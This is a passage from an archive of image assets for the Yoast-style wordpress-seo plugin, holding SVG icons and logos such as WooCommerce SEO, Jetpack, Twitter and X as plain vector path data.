2.226-.4407-1.6667-.7175-3.3786-1.2373-5.0227-1.9379-.2938-3.9945.7684-6.0115.8023-1.2712-.0339-3.3277.6723-3.9097-.8984-.6215-.8757.2599-1.887 1.017-2.2995 2.4633-1.2938 5.3109-1.4463 7.8928-2.4181l-1.4463-5.8533c-3.0736.3899-6.0793 1.5424-9.2037 1.3051-1.3729-.4915-1.5254-2.678-.2316-3.3278 2.582-1.2938 5.52-1.6045 8.2375-2.5594l-1.0396-4.2656zm-47.6851 7.1358l15.3338-2.0057c2.1639 7.7177 3.5086 15.6389 4.6838 23.56-6.9155 1.6894-13.9552 2.9154-21.0063 3.8928-.8362-2.4295-1.0622-5.034-2.0679-7.4183-1.9153-4.5086-4.1526-8.876-6.616-13.1021 4.6895 4.0114 7.294 9.7969 10.9213 14.6841 1.1016 1.3334 2.5085 2.9944 4.4464 2.6554 1.8814-.2655 4.2826-.5537 5.0284-2.6215.8248-1.7572-.4125-3.4239-1.2147-4.9041-2.791-5.1527-6.0228-10.0399-9.5088-14.7406zm-75.7028 21.0854c7.6951-.7062 15.4468-.4125 23.1419-1.1526 3.4013-.2994 6.8138-.5311 10.232-.4746.3785 1.3673.9152 2.6894 1.565 3.955-3.3617.1186-6.7234.3107-10.0625.7062-8.4295 1.1187-16.9552 1.0791-25.4244 1.7854-12.0456.9887-24.1533.5536-36.2045 1.4576l-1.0226.4238c-.7232-.356-1.5255-.3899-2.3108-.3277-10.1642.7627-20.3623.435-30.549.5932l-75.6859.0113c-27.8765-.1017-55.7531.2656-83.624-.3051-6.7007-.7119-13.4636-1.1356-20.0991-2.339v-2.9041l18.9635.6893 25.9895.113 140.654-.0622c8.8081-.0056 17.6333-.0791 26.4245-.5197 12.6388-1.1639 25.3679-.5481 38.0124-1.6498z"
			fill="#3e2723"/>
		<path
			d="M347.2884 81.8873c2.4069-1 4.6555-2.7176 7.3448-2.7967-1.9774 2.582-4.7459 4.6951-7.9041 5.5821-2.7233-.6045-5.39-2.0735-7.4014-4.0284 2.7289-.6215 5.2431 1.6159 7.9607 1.243zm13.5766 1.4238c.9492-.3333 1.9605-.3842 2.9662-.4181-1.1695 1.469-2.9606 2.2091-4.6499 2.8927-5.2261 1.8024-10.3619 4.051-15.8762 4.8307-1.0056.1751-2.0678.0282-2.7458-.7797 7.0059-1.3503 13.5541-4.3052 20.3057-6.5256z"
			fill="#dba378"/>
		<path
			d="M388.4534 83.2941c10.4071.7006 20.865 1.0565 31.1592 2.8927 14.006 2.5707 27.9386 5.5482 41.7978 8.8421 4.8363 1.0735 9.4692 2.8645 14.1586 4.4352 3.277 1.1356 6.633 2.0735 9.7574 3.6159 5.5369 2.678 11.684 4.3109 16.5259 8.2601 5.6104 4.2148 9.5201 10.3845 11.9438 16.9045 1.8589 6.4748 1.3674 13.4298-.2655 19.8933-.7006 4.1978-2.6837 8.1697-5.5933 11.2715-3.6838 3.5594-8.1076 6.2261-12.3733 9.0115-3.4464 2.3561-7.4296 3.6951-11.232 5.3561-11.9043 1.8024-23.9442 2.4012-35.9276 3.4069-6.2431.452-12.475 1.0735-18.735 1.0679-.1696-3.0397-.7459-6.1189-2.3165-8.7687-1.8588-2.9605-3.8758-5.8759-6.5143-8.1923-2.1752-1.8871-4.825-3.0792-7.3223-4.4634-2.7289-1.3786-5.9041-.8193-8.746-.1469-5.7516 1.5198-11.1303 4.147-16.4468 6.7459-3.9097.7176-7.7517-1.3107-11.6557-1.096-2.486.6158-3.3278 3.678-2.0905 5.7516.6102 1.9718 2.6837 2.6102 4.4295 3.2204-2.0452.2938-4.0623.7401-6.0736 1.1752.3672 1.4124.7119 2.8362 1.0396 4.2656-2.7176.9548-5.6556 1.2656-8.2376 2.5594-1.2938.6498-1.1413 2.8363.2317 3.3278 3.1244.2373 6.1301-.9153 9.2036-1.3051.5255 1.9379.9887 3.8928 1.4464 5.8533-2.582.9717-5.4295 1.1243-7.8929 2.4181-.7571.4125-1.6385 1.4238-1.017 2.2995.582 1.5707 2.6385.8645 3.9098.8983 2.0169-.0338 4.0735-1.096 6.0114-.8022.5198 1.6441.7967 3.356 1.2373 5.0227l11.1304-2.226c-.2035 1.548-1.034 3.3108.0282 4.7289 1.0565 1.243 2.4238 2.486 4.1414 2.5707 2.1526.4464 4.1583-.661 6.2488-.9604 2.8475 2.7571 7.5482 1.3333 10.0454-1.2261 2.8363 1.4803 6.5144 2.034 9.2432.0226 2.5594-1.9605 5.6217-3.3108 7.8025-5.729 1.8871-3.3955 1.7459-7.4578 2.2487-11.2094 7.4692.1018 14.8987-.8305 22.3453-1.2994.3503 7.7686 1.1526 15.5033 1.5537 23.2606-.0282 4.1413.7571 8.2262.7854 12.3619.1864 9.7178-.0735 19.4356-.0509 29.1478-65.1545-.0283-130.309.0056-195.4635-.017l.9492-16.6332c.113-5.0793.0508-10.1585.0734-15.2378-6.5877 1.7063-13.4862 2.034-20.2492 1.4973-9.8082-.6046-19.6164-3.3504-27.9274-8.667l1.0227-.4237c12.0512-.904 24.1589-.469 36.2045-1.4577 8.4691-.7062 16.9948-.6667 25.4245-1.7854 3.339-.3955 6.7007-.5875 10.0624-.7062 1.5029 2.9605 3.6781 5.8081 6.8477 7.0736 2.7175 1.0283 5.712 1.6046 8.5935.9267 2.5932-.6272 5.2826.1355 7.8702-.4972 1.582-.2995 3.0001-1.1131 4.5425-1.5368 1.1978.1695 2.1583 1.0848 3.373 1.2204 2.4408.3164 4.921-.1695 7.2771-.7797 1.6554-.7741 1.9435-2.8306 1.2712-4.373 7.0511-.9775 14.0908-2.2035 21.0063-3.8928-1.1752-7.9212-2.5198-15.8423-4.6838-23.56l-15.3338 2.0057c-1.5932-2.1357-3.5876-4.0171-5.8589-5.4126-3.5594-1.017-7.181.2599-10.5257 1.4407-8.0003 2.1469-15.0514 6.5821-22.4188 10.2093-1.678.9831-3.6837 2.147-3.8928 4.3053-.3051 2.9548-.1864 5.9888.3673 8.9155-3.4182-.0565-6.8308.1751-10.232.4746-7.6951.7401-15.4468.4463-23.1419 1.1525-12.6445 1.1018-25.3737.4859-38.0125 1.6498-1.8248-.1017-3.6554-.113-5.4804-.0565-4.2882-4.3504-7.034-10.0059-8.2827-15.9496-.4972-2.9041.3899-5.7629 1.0057-8.5765 1.0113-5.1697 3.712-9.8026 6.6273-14.1191 3.1809-4.6781 7.4918-8.3845 11.4241-12.3959 2.2374-2.6215 4.5707-5.2035 7.3901-7.2205 4.5481-3.599 9.2262-7.0285 13.9834-10.3562 10.0399-7.2602 20.6956-13.5937 31.0744-20.3453 4.712-3.2656 10.085-5.3448 15.153-7.972 5.034-2.3786 9.9269-5.1244 15.266-6.7855 2.2882-.7571 4.5255-1.678 6.6668-2.7967 1.1526.8531 2.6329 1.3334 3.5821 2.4181-.3899 2.2261-1.5933 4.4183-1.0283 6.7234.5198 2.034 1.4803 3.9832 2.8306 5.5878 1.3842 1.565 3.6103 1.6271 5.5256 1.9322.6723 1.9436 1.339 4.0453 3.034 5.3674 2.2487 1.9775 5.4013 1.9775 8.2262 2.0057 1.2487 1.695 2.3956 3.8137 4.6047 4.3504 2.3786.8023 4.825-.1186 6.9437-1.1977 1.5594 1.4407 3.1865 3.2204 5.5312 3.0735 2.1752.2655 3.9606-1.1187 5.5991-2.3334 2.0678 1.0452 4.3899 2.4407 6.7798 1.6441 2.2713-.4746 3.8476-2.2599 5.373-3.8589 2.0905.3334 4.2149 1.2204 6.3393.6724 2.4237-1.0227 3.8305-3.4295 4.9606-5.6782 1.4068-.339 3.0961-.3107 4.13-1.4915 1.2713-1.2487 1.6272-3.0453 2.0396-4.7064 1.9097-.7288 4.0623-1.4859 5.1753-3.3278.8588-2.0339-.0056-4.2148-.1808-6.2939 1.0678-.8306 2.3955-1.6555 2.6047-3.1188.5479-2.2769-.1978-4.5481-1.1413-6.5991 2.3277-1.8983 2.2599-5.0962 1.1638-7.6499z"
			fill="#bf360c"/>
	</g>
</svg>wordpress-seo/packages/js/images/icon-arrow-down.svg000064400000000406147510273070016573 0ustar00<svg width="16" height="16" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 14l-7 7m0 0l-7-7m7 7V3" /></svg>wordpress-seo/packages/js/images/star-rating-star.svg000064400000000542147510273070016751 0ustar00<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" id="Layer_1" data-name="Layer 1" viewBox="0 0 500 475.53"><defs><style>.cls-1{fill:#fbbf24;}</style></defs><polygon class="cls-1" points="250 0 327.25 156.53 500 181.64 375 303.48 404.51 475.53 250 394.3 95.49 475.53 125 303.48 0 181.64 172.75 156.53 250 0"></polygon></svg> wordpress-seo/packages/js/images/woocommerce-seo-logo.svg000064400000013005147510273070017606 0ustar00<svg width="153" height="58" role="img" aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 107.51 40.69"><path fill="#7c579f" fill-rule="evenodd" d="M16.75 23.78h23.13c1.46 0 2.65 1.19 2.65 2.65v8.82c0 1.46-1.18 2.65-2.65 2.65h-8.3l1.14 2.79-5.01-2.79H16.75c-1.46 0-2.65-1.18-2.65-2.65v-8.82c0-1.46 1.19-2.65 2.65-2.65Z"/><path fill="#fff" d="M15.53 26.18c.17-.22.41-.34.73-.36.59-.04.93.24 1.02.83.36 2.42.75 4.48 1.17 6.17L21 27.98c.23-.44.52-.67.87-.69.51-.04.83.29.96.97.29 1.54.66 2.86 1.1 3.97.3-2.95.82-5.08 1.53-6.4a.92.92 0 0 1 .77-.52c.27-.02.52.06.73.23.22.17.34.39.35.67.01.2-.02.39-.11.55-.45.84-.83 2.24-1.12 4.2-.29 1.89-.4 3.37-.32 4.43.02.29-.02.55-.13.76-.14.26-.35.4-.62.42-.31.02-.61-.12-.92-.43-1.08-1.11-1.94-2.76-2.57-4.94-.75 1.49-1.31 2.6-1.68 3.35-.68 1.31-1.27 1.99-1.75 2.02-.32.02-.59-.24-.81-.8-.6-1.52-1.24-4.46-1.92-8.82-.04-.3.02-.57.18-.78ZM40.51 28c-.42-.73-1.04-1.18-1.86-1.35-.22-.05-.43-.07-.63-.07-1.11 0-2.02.58-2.73 1.74-.6.99-.9 2.08-.9 3.27 0 .9.19 1.66.56 2.3.42.73 1.04 1.18 1.86 1.35.22.05.43.07.63.07 1.13 0 2.03-.58 2.73-1.74.6-1 .9-2.1.9-3.29 0-.9-.19-1.66-.56-2.28Zm-1.47 3.22c-.16.76-.45 1.34-.89 1.72-.34.31-.65.43-.94.37-.28-.06-.51-.31-.68-.75-.14-.36-.2-.72-.2-1.06a3.847 3.847 0 0 1 .7-2.23c.39-.57.79-.81 1.21-.72.28.06.51.31.68.75.14.36.2.72.2 1.06 0 .3-.03.58-.09.85ZM33.22 28c-.42-.73-1.04-1.18-1.86-1.35-.22-.05-.43-.07-.63-.07-1.11 0-2.02.58-2.73 1.74-.6.99-.9 2.08-.9 3.27 0 .9.19 1.66.56 2.3.42.73 1.04 1.18 1.86 1.35.22.05.43.07.63.07 1.12 0 2.03-.58 2.73-1.74.6-1 .9-2.1.9-3.29 0-.9-.19-1.66-.56-2.28Zm-1.47 3.22c-.16.76-.45 1.34-.89 1.72-.34.31-.65.43-.94.37-.28-.06-.51-.31-.68-.75-.14-.36-.2-.72-.2-1.06a3.847 3.847 0 0 1 .7-2.23c.39-.57.79-.81 1.21-.72.28.06.51.31.68.75.14.36.2.72.2 1.06 0 .3-.03.58-.09.85Z"/><path d="M45.47 27.9c-.78.77-1.16 1.74-1.16 2.92 0 1.27.38 2.3 1.15 3.08.77.78 1.77 1.17 3.01 1.17.36 0 .76-.06 1.21-.18v-1.88c-.4.12-.76.18-1.06.18-.62 0-1.11-.21-1.48-.62-.37-.41-.55-.97-.55-1.69 0-.66.18-1.2.55-1.63.37-.43.83-.64 1.38-.64.36 0 .75.06 1.16.17V26.9c-.39-.1-.81-.15-1.27-.15-1.19 0-2.17.38-2.94 1.15Zm8.06-1.15c-1.07 0-1.91.36-2.51 1.07-.6.71-.9 1.71-.9 2.98 0 1.38.3 2.44.9 3.17.6.73 1.46 1.1 2.6 1.1s1.95-.37 2.54-1.1c.59-.73.89-1.76.89-3.09s-.3-2.35-.91-3.06c-.6-.71-1.48-1.07-2.62-1.07Zm.92 6.04c-.21.33-.52.49-.92.49-.37 0-.65-.16-.85-.49-.2-.33-.29-.98-.29-1.96 0-1.52.39-2.28 1.16-2.28.82 0 1.23.77 1.23 2.32 0 .96-.11 1.6-.32 1.93Zm8.36-5.82-.42 1.78c-.11.45-.21.92-.3 1.4l-.23 1.23c-.22-1.23-.52-2.7-.91-4.4h-2.7l-1.02 7.91h2.02l.55-5.45 1.38 5.45h1.45l1.32-5.44.57 5.44h2.12l-1.07-7.91h-2.76Zm9.68 0-.42 1.78c-.11.45-.21.92-.3 1.4l-.23 1.23c-.22-1.23-.52-2.7-.91-4.4h-2.7l-1.02 7.91h2.02l.55-5.45 1.38 5.45h1.45l1.32-5.44.57 5.44h2.12l-1.07-7.91h-2.76Zm6.57 4.78h1.9v-1.64h-1.9v-1.46h2.19v-1.68h-4.32v7.91h4.34v-1.69h-2.2v-1.44Zm8.22-1.25c.22-.36.33-.73.33-1.11 0-.75-.29-1.34-.87-1.77-.58-.43-1.38-.65-2.38-.65h-2.49v7.91h2.14v-3.6h.04l1.73 3.6h2.26l-1.71-3.57c.42-.18.75-.45.97-.81ZM84 30.37v-1.88c.51.01.87.1 1.09.25.22.16.33.42.33.79 0 .54-.47.82-1.42.84Zm4.88-2.47c-.78.77-1.16 1.74-1.16 2.92 0 1.27.38 2.3 1.15 3.08.77.78 1.77 1.17 3.01 1.17.36 0 .76-.06 1.21-.18v-1.88c-.4.12-.76.18-1.06.18-.62 0-1.11-.21-1.48-.62-.37-.41-.55-.97-.55-1.69 0-.66.18-1.2.55-1.63.37-.43.83-.64 1.38-.64.36 0 .75.06 1.16.17V26.9c-.39-.1-.81-.15-1.27-.15-1.18 0-2.17.38-2.94 1.15Zm6.94 5.29v-1.44h1.9v-1.64h-1.9v-1.46h2.19v-1.68h-4.32v7.91h4.34v-1.69h-2.2Z"/><g fill="#a71d69"><path d="M21.21 6.8c-4.96 0-6.94 3.33-6.94 7.03s1.95 7.18 6.94 7.18 6.93-3.48 6.92-6.95c-.01-4.22-2.15-7.26-6.92-7.26Zm-3 7.24c.12-4.96 3.93-4.95 5.2-3.18 1.16 1.62 1.4 7.15-2.2 7.11-1.66-.02-2.96-1.14-3-3.94ZM61.43 17.58V10.4H64V7.28h-2.57V3.51h-3.97v3.77h-2.01v3.12h2.01v6.77c0 3.85 2.68 6.14 5.52 6.61l1.18-3.19c-1.65-.21-2.72-1.44-2.74-3.02ZM41.42 16.44v-5.4c0-.2-.01-.38-.03-.56-.34-4.36-6.54-4.35-11.34-2.68l1.39 2.79c3.12-1.48 4.99-1.1 5.65-.37.02.02.03.04.05.06.33.45.25 1.16.25 1.72-4.08 0-8.43.54-8.43 5.02 0 3.4 4.27 5.59 8.72 2.35l.66 1.6h3.82c-.34-1.87-.75-3.48-.75-4.53Zm-3.99-.03c-3.14 3.51-6.02.21-3.07-1.24.87-.3 2.04-.31 3.07-.31v1.55ZM47.51 10.75c0-1.33 2.13-1.95 5.49-.42l1.16-2.82c-4.52-1.37-10.69-1.49-10.73 3.24-.02 2.27 1.43 3.48 3.53 4.26 1.45.54 3.54.82 3.54 1.97 0 1.51-3.25 1.74-6.2-.29l-1.19 3.06c4.03 2 11.52 2.06 11.48-2.96-.04-4.97-7.06-4.12-7.06-6.04ZM12.6 0 6.85 15.97 4.1 7.35H0l4.58 11.78c.39 1 .39 2.12 0 3.12-.51 1.31-1.37 2.44-3.44 2.72v3.49c4.05 0 6.23-2.49 8.19-7.94L16.98 0H12.6Z"/></g><g fill="#a71d69"><path d="M76.58 17.69c0 1.05-.38 1.87-1.14 2.46s-1.8.89-3.14.89-2.42-.21-3.27-.62V18.6c.54.25 1.11.45 1.71.6s1.17.22 1.69.22c.76 0 1.33-.14 1.69-.43s.54-.68.54-1.17c0-.44-.17-.81-.5-1.12-.33-.31-1.02-.67-2.06-1.09-1.07-.43-1.83-.93-2.27-1.49-.44-.56-.66-1.23-.66-2.01 0-.98.35-1.76 1.05-2.32.7-.56 1.64-.85 2.81-.85s2.25.25 3.37.74l-.61 1.57c-1.05-.44-1.98-.66-2.81-.66-.62 0-1.1.14-1.42.41-.32.27-.48.63-.48 1.08 0 .31.06.57.19.79s.34.42.64.62c.3.19.83.45 1.6.77.86.36 1.5.7 1.9 1.01.4.31.7.66.89 1.06.19.39.28.85.28 1.39ZM85.36 20.89h-6.67V9.12h6.67v1.63h-4.74v3.21h4.44v1.61h-4.44v3.7h4.74v1.63ZM98.21 14.98c0 1.92-.48 3.41-1.44 4.47-.96 1.06-2.32 1.59-4.07 1.59s-3.14-.53-4.1-1.58c-.95-1.06-1.43-2.55-1.43-4.5s.48-3.44 1.44-4.48c.96-1.04 2.33-1.56 4.11-1.56s3.11.53 4.06 1.59c.96 1.06 1.43 2.55 1.43 4.47Zm-9 0c0 1.45.29 2.55.88 3.3.59.75 1.45 1.12 2.6 1.12s2.01-.37 2.59-1.11c.58-.74.87-1.84.87-3.31s-.29-2.54-.87-3.29c-.58-.75-1.44-1.12-2.58-1.12s-2.03.37-2.62 1.12c-.59.75-.88 1.84-.88 3.29Z"/></g><path fill="#77b22b" d="m101.16 21.06 4.62-12.17h1.73l-4.61 12.17h-1.74z"/></svg>wordpress-seo/packages/js/images/icon-twitter.svg000064400000001310147510273070016171 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 400" role="img" aria-hidden="true" focusable="false"><circle cx="200" cy="200" r="200" fill="#1da1f2"/><path d="M163.4 305.5c88.7 0 137.2-73.5 137.2-137.2 0-2.1 0-4.2-.1-6.2 9.4-6.8 17.6-15.3 24.1-25-8.6 3.8-17.9 6.4-27.7 7.6 10-6 17.6-15.4 21.2-26.7-9.3 5.5-19.6 9.5-30.6 11.7-8.8-9.4-21.3-15.2-35.2-15.2-26.6 0-48.2 21.6-48.2 48.2 0 3.8.4 7.5 1.3 11-40.1-2-75.6-21.2-99.4-50.4-4.1 7.1-6.5 15.4-6.5 24.2 0 16.7 8.5 31.5 21.5 40.1-7.9-.2-15.3-2.4-21.8-6v.6c0 23.4 16.6 42.8 38.7 47.3-4 1.1-8.3 1.7-12.7 1.7-3.1 0-6.1-.3-9.1-.9 6.1 19.2 23.9 33.1 45 33.5-16.5 12.9-37.3 20.6-59.9 20.6-3.9 0-7.7-.2-11.5-.7 21.1 13.8 46.5 21.8 73.7 21.8" fill="#fff"/></svg>wordpress-seo/packages/js/images/jetpack-logo.svg000064400000016574147510273070016142 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:cc="http://creativecommons.org/ns#"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
   version="1.1"
   width="153"
   height="108"
   id="svg8"
   viewBox="0 0 595.27557 841.88977"
   sodipodi:docname="Jetpack_Logo.cdr">
  <metadata
     id="metadata14">
    <rdf:RDF>
      <cc:Work
         rdf:about="">
        <dc:format>image/svg+xml</dc:format>
        <dc:type
           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
      </cc:Work>
    </rdf:RDF>
  </metadata>
  <defs
     id="defs12" />
  <sodipodi:namedview
     pagecolor="#ffffff"
     bordercolor="#666666"
     borderopacity="1"
     objecttolerance="10"
     gridtolerance="10"
     guidetolerance="10"
     inkscape:pageopacity="0"
     inkscape:pageshadow="2"
     inkscape:window-width="640"
     inkscape:window-height="480"
     id="namedview10" />
  <path
     d="m -81.1429,289.2353 c 26.6704,-1.36 53.7098,5.8403 76.0802,20.4506 27.8192,17.89 48.2397,46.8998 55.4701,79.1994 8.2,35.4807 0.5094,74.3199 -21.0305,103.7401 -19.5197,27.2404 -50.08,46.2895 -83.1898,51.6093 -26.43,4.3906 -54.2293,0.4005 -78.2198,-11.5898 -25.2096,-12.4302 -46.11,-33.3802 -58.4201,-58.6502 -13.5198,-27.3197 -16.6504,-59.5196 -8.9092,-88.9792 7.1699,-27.76 24.0593,-52.8602 46.9995,-70.0603 20.4194,-15.4902 45.5995,-24.6092 71.2196,-25.7199 z m -0.4198,25.3506 c -21.3301,41.5298 -42.7504,83.0199 -64.1302,124.5194 21.39,-0.0201 42.7899,0.0102 64.1798,-0.01 -0.0192,-41.5097 0.0907,-83.01 -0.0496,-124.5095 z m 13.0496,81.4997 c -0.0099,41.5094 0.0204,83.0293 -0.0099,124.5399 21.5501,-41.44 42.7606,-83.0506 64.2501,-124.5206 -21.4098,-0.0698 -42.8199,-0.0295 -64.2402,-0.0193 z"
     style="fill:#00be28;fill-rule:evenodd"
     id="path2" />
  <path
     d="m -81.5627,314.5859 c 0.1403,41.4995 0.0304,82.9998 0.0496,124.5095 -21.3899,0.0201 -42.7898,-0.0102 -64.1798,0.01 21.3798,-41.4995 42.8001,-82.9896 64.1302,-124.5194 z m 13.0496,81.4997 c 21.4203,-0.0102 42.8304,-0.0505 64.2402,0.0193 -21.4895,41.47 -42.7,83.0806 -64.2501,124.5206 0.0303,-41.5106 0,-83.0305 0.0099,-124.5399 z"
     style="fill:#ffffff;fill-rule:evenodd"
     id="path4" />
  <path
     d="m 120.6967,334.5554 c 15.1701,-0.0698 30.3406,-0.0102 45.5108,-0.0304 -0.0202,37.1603 0.009,74.3208 -0.0202,111.4801 -0.0898,10.5597 -1.4306,21.5008 -6.7011,30.8509 -6.7592,12.0991 -19.0187,19.6191 -31.0697,25.6793 -3.6895,-5.5102 -7.0197,-11.2405 -10.6798,-16.7601 7.7905,-4.8002 15.8301,-10.1996 20.3103,-18.4399 2.8995,-5.2903 3.8701,-11.3899 3.9194,-17.3605 -0.019,-32.2997 0,-64.6093 -0.009,-96.9191 -7.0609,-0.01 -14.1211,0 -21.1811,0 -0.0796,-6.1702 0.0303,-12.3404 -0.0796,-18.5003 z m 535.2063,0.0501 c 7.6068,-0.1601 15.2237,-0.0603 22.8305,-0.0603 -0.0907,25.501 0.1715,51.01 -0.1312,76.5099 10.7342,-12.8891 21.1053,-26.0802 31.8396,-38.9693 9.8163,0.0796 19.6225,-0.0303 29.4386,0.0595 -12.3384,14.2997 -24.5052,28.7405 -36.8436,43.0299 13.428,15.9804 26.9164,31.9102 40.3747,47.8806 -9.8971,-0.0102 -19.7838,0 -29.6807,-0.0102 -11.6524,-14.3399 -23.3249,-28.6707 -35.0076,-42.9905 0.0201,14.2906 -0.01,28.5698 0.0201,42.8604 -7.5764,0.2897 -15.173,0.0697 -22.7596,0.1202 -0.0808,-42.81 0.0805,-85.6199 -0.0808,-128.4302 z m -359.8866,11.81 c 7.6107,0.0502 15.2308,-0.1797 22.8407,0.1097 -0.1604,8.53 -0.0505,17.0601 -0.0607,25.5799 9.4802,0.0201 18.9698,-0.009 28.4599,0.0201 -0.0301,5.8705 -0.0301,11.74 -0.01,17.6097 -9.4893,0.0402 -18.9797,0 -28.4701,0.0201 0.0505,16.0903 -0.0697,32.1908 0.0604,48.28 -0.0805,4.0203 2.8704,7.8006 6.8604,8.5209 6.6696,1.3893 13.3594,-0.9303 19.8099,-2.4103 -0.0706,5.7696 -0.0504,11.5294 -0.011,17.3001 -8.6097,2.9296 -17.7792,4.2098 -26.8589,3.7599 -6.021,-0.3903 -12.3304,-2.2105 -16.5807,-6.7008 -4.4702,-4.6094 -6.0097,-11.27 -6.0199,-17.5099 -0.01,-17.0787 0.0102,-34.1598 -0.01,-51.2399 -4.1797,-0.009 -8.3597,0.011 -12.5303,-0.0201 0,-5.8102 -0.03,-11.619 0.0204,-17.4393 4.1706,0 8.3492,0 12.53,-0.01 -0.0303,-8.6298 0.0201,-17.2496 -0.0303,-25.8701 z m -93.4002,32.47 c 10.6807,-8.8304 25.6108,-10.9703 38.9106,-8.2099 9.3198,1.8198 17.9195,7.52 22.6398,15.84 6.37,10.7594 6.2005,23.79 4.8203,35.8197 -19.4598,0.0201 -38.9208,-0.0304 -58.3696,0.03 0.2897,6.4398 1.5599,13.4603 6.4497,18.1001 5.7101,5.4093 14.0394,6.2699 21.5492,6.3204 9.6509,0.229 19.0908,-2.3304 28.1109,-5.5406 -0.01,6.2802 0,12.5603 0,18.8393 -14.5406,4.5108 -30.0801,6.5002 -45.2109,4.3402 -9.9697,-1.499 -19.8898,-6.0591 -26.0498,-14.2592 -7.4191,-9.68 -9.3694,-22.32 -9.2492,-34.2104 0.1392,-13.8496 5.4689,-28.1594 16.399,-37.0696 z m 14.811,12.8702 c -4.1998,4.0796 -5.8303,9.9402 -6.6806,15.5494 11.8006,0.0808 23.6001,0.0102 35.3999,0.0403 -0.1798,-6.4698 -1.1997,-14.0403 -6.8593,-18.1199 -6.6504,-4.32 -16.3001,-3.0498 -21.86,2.5302 z m 170.0595,-11.5203 c 8.5691,-6.6606 19.1894,-10.8998 30.1499,-10.6696 10.4598,-0.1604 21.1002,4.4198 27.3693,12.9597 8.3007,11.1903 9.7606,25.9296 8.5612,39.4101 -1.2611,14.5094 -8.3211,29.2399 -21.2405,36.7395 -13.1304,7.9399 -29.3196,7.3698 -43.8401,4.3504 -0.0102,16.0299 -0.0102,32.0697 0,48.0994 -7.5603,0.0102 -15.1197,0 -22.6803,0.0102 0.0303,-46.4298 -0.0391,-92.8494 0.0405,-139.2693 7.2003,0.11 14.4094,0.0797 21.6097,0.009 0.0303,2.7805 0.0496,5.5701 0.0303,8.3605 z m 0.9896,17.9104 c -0.0493,15.7198 0.1202,31.4501 -0.0896,47.1691 5.9502,1.4598 12.1193,1.9806 18.2299,1.8706 6.9996,-0.1301 14.2795,-3.06 18.2798,-9.0102 5.0604,-7.3293 5.7997,-16.63 5.4901,-25.27 -0.3197,-6.5999 -1.2501,-13.68 -5.5196,-18.9797 -3.3605,-4.2503 -8.9898,-5.94 -14.2308,-5.6699 -8.3494,0.2795 -15.8998,4.6602 -22.1598,9.8901 z m 83.3802,-22.6006 c 11.4801,-3.9396 23.6296,-5.9995 35.7693,-5.9695 9.1706,0.1301 19.0806,1.8595 26.0104,8.3495 6.7805,6.37 8.9102,16.0701 9.11,25.0398 0.0403,20.0208 0.0102,40.0507 0.0102,60.0707 -7.0197,0.0402 -14.0403,0 -21.0501,0.0292 -0.2401,-3.4291 -0.1601,-6.8695 -0.1601,-10.2994 -8.3101,6.4698 -18.1103,11.8298 -28.9001,11.9095 -8.7698,0.5802 -17.7698,-3.7591 -22.3299,-11.3497 -4.6803,-7.8398 -4.9204,-17.9195 -1.6396,-26.3202 3.1992,-7.9195 10.9605,-12.8699 18.8901,-15.1702 10.5798,-3.0396 21.6692,-3.53 32.4893,-5.3399 -0.0394,-4.8192 0.1403,-10.1996 -2.9792,-14.2098 -2.9004,-3.7803 -8.0306,-4.5196 -12.4705,-4.6398 -10.5899,0.0596 -20.9602,2.6998 -30.9498,5.9897 -0.3804,-6.0492 -1.1602,-12.07 -1.8,-18.0899 z m 28.8797,48.0702 c -4.5902,0.6497 -9.0403,3.7298 -10.2198,8.3696 -1.8399,5.9805 0.6497,14.2602 7.5504,15.4 8.1295,0.9899 15.5597,-3.67 21.9892,-8.0696 -0.0899,-6.2501 -0.0292,-12.4898 -0.0394,-18.7297 -6.4205,1.0795 -12.8701,1.9392 -19.2804,3.0297 z m 75.6283,-43.9398 c 9.8567,-7.9005 22.9111,-10.5305 35.29,-10.0798 7.8791,0.1191 15.6172,1.8998 23.0825,4.3492 0.0204,6.4307 -0.01,12.86 0.0204,19.2804 -10.7547,-3.8296 -22.5581,-6.8096 -33.908,-4.1201 -8.0808,1.9097 -14.1744,8.9101 -15.8593,16.9004 -1.9066,8.8093 -1.715,18.3402 1.5134,26.8297 2.4415,6.5304 8.3129,11.5203 15.1228,12.99 11.5515,2.6201 23.4763,-0.4195 34.2811,-4.6003 -0.0201,6.29 -0.0102,12.5906 0,18.8909 -14.7597,5.2098 -31.0629,7.0792 -46.3068,2.9296 -8.9889,-2.3899 -17.312,-7.8701 -22.2352,-15.8703 -6.5293,-10.4003 -7.8086,-23.1795 -6.9993,-35.1902 0.9198,-12.2595 6.152,-24.6191 15.9984,-32.3095 z"
     style="fill:#000000;fill-rule:evenodd"
     id="path6" />
</svg>
wordpress-seo/packages/js/images/x-logo.svg000064400000000630147510273070014752 0ustar00<svg viewBox="0 0 1200 1227" fill="current" xmlns="http://www.w3.org/2000/svg">
<path d="M714.163 519.284L1160.89 0H1055.03L667.137 450.887L357.328 0H0L468.492 681.821L0 1226.37H105.866L515.491 750.218L842.672 1226.37H1200L714.137 519.284H714.163ZM569.165 687.828L521.697 619.934L144.011 79.6944H306.615L611.412 515.685L658.88 583.579L1055.08 1150.3H892.476L569.165 687.854V687.828Z" fill="current"/>
</svg>
